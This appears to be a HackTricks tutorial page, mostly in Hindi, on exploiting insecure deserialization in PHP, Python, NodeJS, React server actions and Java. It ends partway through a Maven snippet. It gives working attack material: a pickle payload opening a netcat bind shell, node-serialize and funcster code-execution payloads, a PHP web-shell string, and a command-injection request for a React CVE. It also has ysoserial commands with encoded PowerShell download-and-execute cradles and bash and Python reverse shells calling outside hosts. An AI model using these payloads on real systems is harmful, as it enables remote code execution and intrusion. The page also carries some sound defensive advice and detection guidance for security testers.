Deserialization
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
Serialization को उस विधि के रूप में समझा जाता है जिसमें किसी ऑब्जेक्ट को इस तरह के फ़ॉर्मेट में बदला जाता है जिसे संग्रहीत किया जा सके या संचार प्रक्रिया के हिस्से के रूप में भेजा जा सके। यह तकनीक आम तौर पर ऑब्जेक्ट की संरचना और स्थिति को बनाए रखते हुए उसे बाद में पुनः सृजित करने के उद्देश्य से उपयोग की जाती है।
Deserialization, इसके विपरीत, उस प्रक्रिया को कहते हैं जो serialization का उल्टा करती है। इसमें किसी निश्चित फ़ॉर्मेट में संरचित डेटा लिया जाता है और उसे फिर से एक ऑब्जेक्ट में पुनर्निर्मित किया जाता है।
Deserialization खतरनाक हो सकती है क्योंकि यह संभावित रूप से आक्रमणकारियों को serialized data में हेरफेर करके हानिकारक कोड चलाने या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अनपेक्षित व्यवहार उत्पन्न करने की अनुमति दे सकती है।
PHP
PHP में, serialization और deserialization प्रक्रियाओं के दौरान कुछ विशेष magic methods उपयोग किए जाते हैं:
__sleep: तब बुलाया जाता है जब कोई ऑब्जेक्ट serialize किया जा रहा होता है। यह मेथड उन सभी properties के नामों की एक array लौटाना चाहिए जिन्हें serialize किया जाना चाहिए। इसे आम तौर पर pending डेटा को commit करने या समान cleanup कार्यों के लिए उपयोग किया जाता है।__wakeup: जब कोई ऑब्जेक्ट deserialized किया जा रहा होता है तब कॉल किया जाता है। इसका उपयोग आम तौर पर serialization के दौरान खोए हुए database connections को पुनः स्थापित करने और अन्य reinitialization कार्यों के लिए किया जाता है।__unserialize: यह मेथड__wakeupकी जगह (यदि मौजूद हो) तब कॉल किया जाता है जब कोई ऑब्जेक्ट deserialized किया जा रहा होता है। यह__wakeupकी तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण प्रदान करता है।__destruct: यह मेथड तब कॉल किया जाता है जब कोई ऑब्जेक्ट नष्ट होने वाला हो या जब स्क्रिप्ट समाप्त हो रही हो। इसे सामान्यतः cleanup कार्यों के लिए उपयोग किया जाता है, जैसे file handles या database connections बंद करना।__toString: यह मेथड ऑब्जेक्ट को string की तरह व्यवहार करने की अनुमति देता है। इसे फ़ाइल पढ़ने या इसके भीतर किए गए function calls के आधार पर अन्य कार्यों के लिए उपयोग किया जा सकता है, और प्रभावी रूप से ऑब्जेक्ट का टेक्स्टुअल प्रतिनिधित्व प्रदान करता है।
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन्स __wakeup और __destruct तब कॉल होते हैं जब ऑब्जेक्ट को deserialized किया जाता है। ध्यान दें कि कई ट्यूटोरियल्स में आप पाएँगे कि किसी attribute को प्रिंट करने की कोशिश करने पर __toString फ़ंक्शन कॉल होता है, लेकिन ऐसा लगता है कि अब यह नहीं हो रहा है।
Warning
यदि क्लास में यह लागू किया गया है तो मेथड
__unserialize(array $data)__wakeup()के बजाय कॉल होता है। यह आपको serialized डेटा को एक array के रूप में प्रदान करके ऑब्जेक्ट को unserialize करने की अनुमति देता है। आप इस मेथड का उपयोग प्रॉपर्टीज़ को unserialize करने और deserialization के समय आवश्यक किसी भी कार्य को करने के लिए कर सकते हैं।class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
आप एक समझाया हुआ PHP example यहाँ पढ़ सकते हैं: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, यहाँ https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf या यहाँ https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
आप PHP autoload functionality का दुरुपयोग करके arbitrary php files और अन्य चीज़ें लोड कर सकते हैं:
PHP - Deserialization + Autoload Classes
संदर्भित मानों का सीरियलाइज़ेशन
यदि किसी कारण से आप किसी मान को एक दूसरे मान के serialized रेफरेंस के रूप में सीरियलाइज़ करना चाहते हैं तो आप कर सकते हैं:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
allowed_classes के साथ PHP Object Injection को रोकना
[!INFO]
unserialize()के दूसरे तर्क (the$optionsarray) के लिए सपोर्ट PHP 7.0 में जोड़ा गया था। पुराने वर्ज़न में फ़ंक्शन सिर्फ serialized string स्वीकार करता है, जिससे यह सीमित करना असंभव होता है कि कौन‑सी classes instantiate की जा सकती हैं।
unserialize() serialized stream के भीतर मिलने वाली प्रत्येक class को instantiate करेगा जब तक अन्यथा न बताया गया हो। PHP 7 से यह व्यवहार allowed_classes option से सीमित किया जा सकता है:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
यदि allowed_classes छोड़ा गया है या कोड PHP < 7.0 पर चलता है, तो यह कॉल खतरनाक बन जाती है क्योंकि एक attacker ऐसा payload तैयार कर सकता है जो magic methods जैसे __wakeup() या __destruct() का दुरुपयोग करके Remote Code Execution (RCE) हासिल कर सके।
वास्तविक दुनिया का उदाहरण: Everest Forms (WordPress) CVE-2025-52709
The WordPress plugin Everest Forms ≤ 3.2.2 ने helper wrapper के साथ रक्षात्मक होने की कोशिश की थी लेकिन पुराने PHP संस्करणों के बारे में भूल गया:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
उन सर्वरों पर जो अभी भी PHP ≤ 7.0 चला रहे थे, यह दूसरी ब्रांच तब एक क्लासिक PHP Object Injection की ओर ले जाती थी जब कोई administrator एक malicious form submission खोलता। एक minimal exploit payload इस तरह दिख सकता है:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
जैसे ही admin ने entry देखा, ऑब्जेक्ट instantiate हुआ और SomeClass::__destruct() execute हो गया, जिससे arbitrary code execution हुआ।
निष्कर्ष
- हमें हमेशा
unserialize()कॉल करते समय['allowed_classes' => false](या एक सख्त white-list) पास करनी चाहिए। - defensive wrappers का ऑडिट करें – वे अक्सर legacy PHP branches को भूल जाते हैं।
- केवल PHP ≥ 7.x पर अपग्रेड करना पर्याप्त नहीं है: यह विकल्प explicit रूप से प्रदान करना ज़रूरी है।
PHPGGC (ysoserial for PHP)
PHPGGC आपको PHP deserializations का दुरुपयोग करने के लिए payloads generate करने में मदद कर सकता है।
ध्यान दें कि कई मामलों में आप application के source code में deserialization का दुरुपयोग खोजने में सक्षम नहीं होंगे, पर आप external PHP extensions के code का दुरुपयोग कर सकते हैं।
इसलिए, यदि संभव हो तो सर्वर का phpinfo() चेक करें और search on the internet (और PHPGGC के gadgets में भी) ऐसे संभावित gadgets खोजें जिनका आप दुरुपयोग कर सकें।
phar:// metadata deserialization
अगर आपको ऐसा LFI मिला है जो सिर्फ फ़ाइल को पढ़ रहा है और उसके अंदर के php code को execute नहीं कर रहा, उदाहरण के लिए file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). आप उन स्थितियों में phar प्रोटोकॉल का उपयोग करके file को reading के दौरान होने वाली deserialization का दुरुपयोग करने की कोशिश कर सकते हैं।
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:
Python
Pickle
जब object unpickle होता है, तब function ___reduce___ execute होगा।
जब exploit किया जाए तो server एक त्रुटि return कर सकता है।
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using print(base64.b64encode(pickle.dumps(P(),2))) to generate an object that is compatible with python2 if you’re running python3.
For more information about escaping from pickle jails check:
Yaml & jsonpickle
निम्नलिखित पेज वह तकनीक प्रस्तुत करता है जिससे abuse an unsafe deserialization in yamls python libraries की जा सकती है और यह एक tool के साथ खत्म होता है जिसे Pickle, PyYAML, jsonpickle and ruamel.yaml के लिए RCE deserialization payload जनरेट करने के लिए इस्तेमाल किया जा सकता है:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS में PHP या Python की तरह ऐसे “magic” functions नहीं होते हैं जो सिर्फ़ किसी ऑब्जेक्ट को बनाते समय ही execute हो जाएँ। लेकिन JS में कुछ ऐसे functions होते हैं जो बिना सीधे call किए भी अक्सर इस्तेमाल होते हैं, जैसे कि toString, valueOf, toJSON.
यदि आप किसी deserialization का अभिगमन कर रहे हैं और इन functions को किसी और code चलाने के लिए compromise कर सकें (संभावित रूप से prototype pollutions का दुरुपयोग करके), तो इन्हें कॉल करने पर arbitrary code execute हो सकता है।
Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
यदि आप इस तकनीक के बारे में जानना चाहते हैं तो निम्नलिखित ट्यूटोरियल देखें:
NodeJS - proto & prototype Pollution
node-serialize
यह लाइब्रेरी functions को serialise करने की अनुमति देती है। उदाहरण:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
यह serialised object इस तरह दिखेगा:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
आप उदाहरण में देख सकते हैं कि जब कोई function serialized होता है तो _$$ND_FUNC$$_ flag serialized object में जोड़ा जाता है।
Inside the file node-serialize/lib/serialize.js आप वही _$$ND_FUNC$$_ flag और कोड द्वारा इसके उपयोग को देख सकते हैं।
.png)
.png)
जैसा कि आप अंतिम कोड हिस्से में देख सकते हैं, यदि flag पाया जाता है eval का उपयोग function को deserialize करने के लिए किया जाता है, इसलिए मूल रूप से user input eval function के अंदर उपयोग हो रहा है।
हालाँकि, just serialising a function इसे execute नहीं करेगा क्योंकि हमारे उदाहरण में आवश्यक होगा कि कोड का कोई हिस्सा y.rce को call कर रहा हो और यह बहुत ही असंभव है।
वैसे भी, आप बस modify the serialised object कर सकते हैं adding some parenthesis ताकि object deserialized होने पर serialized function auto execute हो जाए।
अगले कोड हिस्से में आखिरी parenthesis पर ध्यान दें और कैसे unserialize function स्वतः code को execute करेगा:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
जैसा कि पहले संकेत किया गया था, यह लाइब्रेरी _$$ND_FUNC$$_ के बाद का कोड लेगी और eval का उपयोग करके execute it करेगी। इसलिए, auto-execute code करने के लिए आप delete the function creation हिस्सा और अंतिम parenthesis हटा सकते हैं और just execute a JS oneliner जैसे निम्न उदाहरण में:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
आप find here further information इस vulnerability को exploit करने के बारे में पा सकते हैं।
funcster
funcster का एक उल्लेखनीय पहलू यह है कि मानक बिल्ट-इन ऑब्जेक्ट्स अनुपलब्ध होते हैं; वे पहुँच योग्य स्कोप के बाहर होते हैं। यह प्रतिबंध उन कोड के निष्पादन को रोकता है जो built-in objects पर मेथड्स कॉल करने की कोशिश करते हैं, जिससे console.log() या require(something) जैसे कमांड्स उपयोग किए जाने पर “ReferenceError: console is not defined” जैसी exceptions होती हैं।
इस सीमा के बावजूद, किसी विशिष्ट तरीके के माध्यम से ग्लोबल संदर्भ तक पूर्ण पहुँच — जिसमें सभी मानक बिल्ट-इन ऑब्जेक्ट्स शामिल हैं — बहाल करना संभव है। ग्लोबल संदर्भ का सीधे उपयोग करके इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, पहुँच को निम्नलिखित स्निपेट का उपयोग करके पुनः स्थापित किया जा सकता है:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
अधिक जानकारी के लिए more information read this source.
serialize-javascript
The serialize-javascript पैकेज केवल serialization उद्देश्यों के लिए बनाया गया है और इसमें कोई निहित deserialization क्षमताएँ नहीं हैं। उपयोगकर्ताओं को deserialization के लिए अपना स्वयं का तरीका लागू करना होगा। serialized data को deserializing करने के लिए आधिकारिक उदाहरण सीधे eval के उपयोग का सुझाव देता है:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
यदि यह function objects को deserialize करने के लिए उपयोग किया जाता है तो आप इसे आसानी से exploit कर सकते हैं:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
For more information read this source.
Cryo library
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) react-server-dom-webpack (RSDW) पर निर्भर करते हैं ताकि वे multipart/form-data के रूप में भेजी गई server action submissions को decode कर सकें। हर action submission में निम्न शामिल होते हैं:
$ACTION_REF_<n>हिस्से जो invoke किए जाने वाले action का संदर्भ देते हैं।$ACTION_<n>:<m>हिस्से जिनकी body JSON होती है जैसे{"id":"module-path#export","bound":[arg0,arg1,...]}।
Version 19.2.0 में decodeAction(formData, serverManifest) helper दोनों id string (किस module export को कॉल करना है चुनना) और bound array (arguments) पर अंधविश्वास करता है। अगर attacker उस endpoint तक पहुँच सके जो requests को decodeAction को आगे भेजता है, तो वे किसी भी exported server action को attacker-controlled parameters के साथ invoke कर सकते हैं, भले ही React front-end मौजूद न हो (CVE-2025-55182)। End-to-end recipe है:
- Action identifier जानें। Bundle output, error traces या leaked manifests आम तौर पर
app/server-actions#generateReportजैसे strings दिखाते हैं। - multipart payload को फिर से बनाएं। एक
$ACTION_REF_0हिस्सा और एक$ACTION_0:0JSON body बनाएं जिसमें identifier और arbitrary arguments हों। decodeActionको इसे dispatch करने दें। HelperserverManifestसे module resolve करता है, export import करता है, और एक callable लौटाता है जिसे server तुरंत execute करता है।
Example payload hitting /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
या curl के साथ:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
bound array सीधे server-action parameters को populate करता है। vulnerable lab में gadget इस तरह दिखता है:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
एक attacker को कभी भी असली React client की जरूरत नहीं होती—कोई भी HTTP टूल जो $ACTION_* multipart shape उत्पन्न करता है सीधे server actions को कॉल कर सकता है और परिणामस्वरूप JSON आउटपुट को एक RCE primitive में चेन कर सकता है।
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
Fingerprints
White Box
To identify potential serialization vulnerabilities in the codebase search for:
- उन Classes को खोजें जो
Serializableinterface को implement करती हों। java.io.ObjectInputStream,readObject,readUnshareफ़ंक्शंस का उपयोग।
विशेष ध्यान दें:
XMLDecoderका उपयोग जब parameters external users द्वारा परिभाषित किए गए हों।XStreamकाfromXMLmethod, खासकर यदि XStream version <= 1.46 हो, क्योंकि यह serialization issues के प्रति संवेदनशील है।ObjectInputStreamजोreadObjectmethod के साथ coupled हो।readObject,readObjectNodData,readResolve, याreadExternalजैसे methods की implementation।ObjectInputStream.readUnshared.Serializableका सामान्य उपयोग।
Black Box
For black box testing, look for specific signatures or “Magic Bytes” that denote java serialized objects (originating from ObjectInputStream):
- Hexadecimal pattern:
AC ED 00 05. - Base64 pattern:
rO0. - HTTP response headers जिनमें
Content-typeapplication/x-java-serialized-objectपर सेट हो। - पहले compression को दर्शाने वाला hexadecimal pattern:
1F 8B 08 00. - पहले compression को दर्शाने वाला Base64 pattern:
H4sIA. - वेब फाइलें जिनका एक्सटेंशन
.facesहो और जिनमेंfaces.ViewStateparameter मौजूद हो। किसी वेब एप्लिकेशन में ये पैटर्न मिलने पर post about Java JSF ViewState Deserialization में दिए गए विवरण के अनुसार जांच करनी चाहिए।
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
जांचें कि कमजोर है या नहीं
यदि आप जानना चाहते हैं कि Java Deserialized exploit कैसे काम करता है तो आपको Basic Java Deserialization, Java DNS Deserialization, और CommonsCollection1 Payload देखना चाहिए।
SignedObject-gated deserialization and pre-auth reachability
आधुनिक कोडबेस कभी-कभार deserialization को java.security.SignedObject के साथ wrap करते हैं और getObject() कॉल करने से पहले सिग्नेचर को validate करते हैं (जो inner object को deserializes करता है)। यह arbitrary top-level gadget classes को रोकता है लेकिन तब भी exploitable हो सकता है यदि कोई attacker वैध सिग्नेचर प्राप्त कर ले (उदाहरण के लिए, private-key compromise या एक signing oracle)। इसके अतिरिक्त, error-handling flows अनऑथेंटिकेटेड users के लिए session-bound tokens mint कर सकते हैं, जिससे otherwise protected sinks pre-auth के दौरान expose हो सकते हैं।
For a concrete case study with requests, IoCs, and hardening guidance, see:
Java Signedobject Gated Deserialization
White Box Test
आप यह जांच सकते हैं कि क्या कोई application इंस्टॉल है जिसमें ज्ञात vulnerabilities हैं।
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to सभी लाइब्रेरीज़ की जाँच करें known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) don’t care about the tons of warnings/errors that it’s going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won’t create an exploit and it may indicate false positives.
Black Box Test
Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.
Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Serialization Test
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the “URLDNS” payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the “URLDNS” payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
जब आप java.lang.Runtime.exec() के लिए payload बना रहे होते हैं तो आप विशेष वर्णों का उपयोग नहीं कर सकते जैसे “>” या “|” जो एक execution के आउटपुट को redirect करने के लिए होते हैं, “$()” का उपयोग commands execute करने के लिए नहीं कर सकते या यहां तक कि कमांड को स्पेस से अलग करके arguments पास करना भी नहीं कर सकते (आप echo -n "hello world" कर सकते हैं लेकिन आप python2 -c 'print "Hello world"' नहीं कर सकते)। Payload को सही तरीके से encode करने के लिए आप use this webpage का उपयोग कर सकते हैं।
नीचे दिए गए script का उपयोग करके Windows और Linux के लिए all the possible code execution payloads बना कर उन्हें vulnerable web page पर टेस्ट कर सकते हैं:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
आप https://github.com/pwntester/SerialKillerBypassGadgetCollection को ysoserial के साथ मिलाकर और अधिक exploits बनाने के लिए उपयोग कर सकते हैं। इस टूल के बारे में अधिक जानकारी उस प्रस्तुति के स्लाइड्स में है जिसमें यह टूल पेश किया गया था: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec का उपयोग Java में विभिन्न Json और Yml serialization libraries को exploit करने हेतु payloads बनाने में किया जा सकता है.
प्रोजेक्ट को compile करने के लिए मुझे pom.xml में ये dependencies जोड़नी पड़ीं:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
